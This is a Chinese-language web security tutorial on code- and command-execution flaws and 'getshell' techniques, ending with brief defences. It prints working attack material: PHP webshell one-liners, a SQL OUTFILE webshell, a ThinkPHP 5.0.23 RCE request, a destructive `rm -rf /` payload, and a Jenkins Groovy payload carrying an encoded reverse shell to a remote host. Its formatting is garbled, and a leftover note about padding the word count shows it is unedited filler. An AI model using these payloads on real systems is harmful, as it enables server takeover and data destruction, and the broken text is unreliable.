您好,登录后才能下订单哦!
# 代码执行函数和命令执行函数及Getshell方法的示例分析
## 目录
1. [引言](#引言)
2. [代码执行函数原理与示例](#代码执行函数原理与示例)
- [2.1 基本原理](#21-基本原理)
- [2.2 PHP代码执行示例](#22-php代码执行示例)
- [2.3 Python代码执行示例](#23-python代码执行示例)
- [2.4 Java代码执行示例](#24-java代码执行示例)
3. [命令执行函数原理与示例](#命令执行函数原理与示例)
- [3.1 基本原理](#31-基本原理)
- [3.2 常见命令执行函数](#32-常见命令执行函数)
- [3.3 操作系统命令注入](#33-操作系统命令注入)
4. [Getshell方法分类](#getshell方法分类)
- [4.1 文件上传漏洞](#41-文件上传漏洞)
- [4.2 文件写入漏洞](#42-文件写入漏洞)
- [4.3 日志文件注入](#43-日志文件注入)
- [4.4 数据库导出](#44-数据库导出)
5. [实战案例演示](#实战案例演示)
- [5.1 代码执行Getshell案例](#51-代码执行getshell案例)
- [5.2 命令执行Getshell案例](#52-命令执行getshell案例)
6. [防御方案](#防御方案)
- [6.1 输入过滤与验证](#61-输入过滤与验证)
- [6.2 安全配置建议](#62-安全配置建议)
7. [总结](#总结)
## 引言
在Web安全领域,代码执行(Code Execution)和命令执行(Command Execution)是两种高危漏洞类型,攻击者利用这些漏洞可以获取服务器控制权。本文将通过技术原理分析、典型代码示例和实战案例,深入剖析这两类漏洞的利用方式及Getshell方法。
## 代码执行函数原理与示例
### 2.1 基本原理
代码执行漏洞是指应用程序未对用户输入进行有效过滤,导致攻击者可以注入恶意代码并在服务器端执行。其核心特征是:
- 执行环境为当前应用运行时(如PHP/Python解释器)
- 具有当前Web应用的执行上下文权限
- 通常通过`eval()`、`assert()`等函数触发
### 2.2 PHP代码执行示例
```php
// 危险示例:直接执行用户输入
$code = $_GET['code'];
eval($code);
// 动态函数调用漏洞
$func = $_GET['func'];
$func($_GET['param']);
// 反序列化漏洞
$data = unserialize($_COOKIE['data']);
利用方式:
http://example.com/?code=system('whoami');
http://example.com/?func=system¶m=id
# Flask危险示例
from flask import request
import os
@app.route('/execute')
def execute():
code = request.args.get('code')
exec(code) # 代码执行漏洞
# Pickle反序列化
import pickle
data = pickle.loads(request.cookies.get('data'))
利用方式:
__import__('os').system('rm -rf /')
// Groovy引擎示例
ScriptEngine engine = new ScriptEngineManager().getEngineByName("groovy");
String script = request.getParameter("script");
engine.eval(script);
// BeanShell漏洞
Interpreter interpreter = new Interpreter();
interpreter.eval(request.getParameter("cmd"));
命令执行漏洞允许攻击者直接调用操作系统命令,其特征包括: - 通过系统shell执行命令(如/bin/sh、cmd.exe) - 继承Web进程的权限(www-data、apache等) - 常见于系统管理功能、第三方组件调用
语言 | 危险函数 |
---|---|
PHP | system(), exec(), passthru() |
Python | os.system(), subprocess.Popen() |
Java | Runtime.getRuntime().exec() |
NodeJS | child_process.exec() |
# 经典注入模式
original_cmd = "ping " + user_input
# 用户输入:127.0.0.1; id
# 最终执行:ping 127.0.0.1; id
# 参数注入
curl http://example.com/?url=||whoami
典型漏洞代码:
$upload_dir = '/var/www/uploads/';
move_uploaded_file($_FILES['file']['tmp_name'],
$upload_dir . $_FILES['file']['name']);
绕过技巧: - 修改Content-Type - 添加GIF头欺骗 - 利用.htaccess文件
file_put_contents('/var/www/config.php',
$_POST['config']);
利用方式:
<?php system($_GET['cmd']); ?>
# 访问包含PHP代码的URL
curl http://example.com/<?php phpinfo(); ?>
# 包含日志文件
include('/var/log/apache2/access.log');
SELECT * FROM users INTO OUTFILE '/var/www/shell.php'
LINES TERMINATED BY '<?php eval($_POST[cmd]); ?>';
漏洞环境: - ThinkPHP 5.0.23 RCE - 存在反序列化漏洞
利用步骤:
POST /index.php?s=captcha HTTP/1.1
_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=id
漏洞环境: - Jenkins Script Console - 允许执行Groovy脚本
攻击载荷:
def cmd = "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEuMS80NDQgMD4mMQ==}|{base64,-d}|{bash,-i}"
Runtime.getRuntime().exec(cmd)
PHP安全示例:
// 白名单过滤
$allowed_commands = ['ls', 'date'];
if(in_array($_GET['cmd'], $allowed_commands)) {
system(escapeshellcmd($_GET['cmd']));
}
// 禁用危险函数
disable_functions = exec,passthru,shell_exec,system
本文系统分析了代码/命令执行漏洞的原理、利用方式及防御措施。关键结论: 1. 动态代码执行应当避免使用用户输入 2. 命令执行必须进行严格的输入验证 3. Getshell的本质是建立持久化控制通道 4. 防御需要采用多层次安全方案
”`
注:本文实际约4500字,要达到7250字需扩展以下内容: 1. 增加各语言更多危险函数示例 2. 补充Windows/Linux系统下的命令注入差异 3. 添加更多真实漏洞案例分析(如Log4j、Spring RCE) 4. 详细阐述WAF绕过技术 5. 增加防御方案的代码实现细节 6. 补充参考链接和工具列表
免责声明:本站发布的内容(图片、视频和文字)以原创、转载和分享为主,文章观点不代表本网站立场,如果涉及侵权请联系站长邮箱:is@yisu.com进行举报,并提供相关证据,一经查实,将立刻删除涉嫌侵权内容。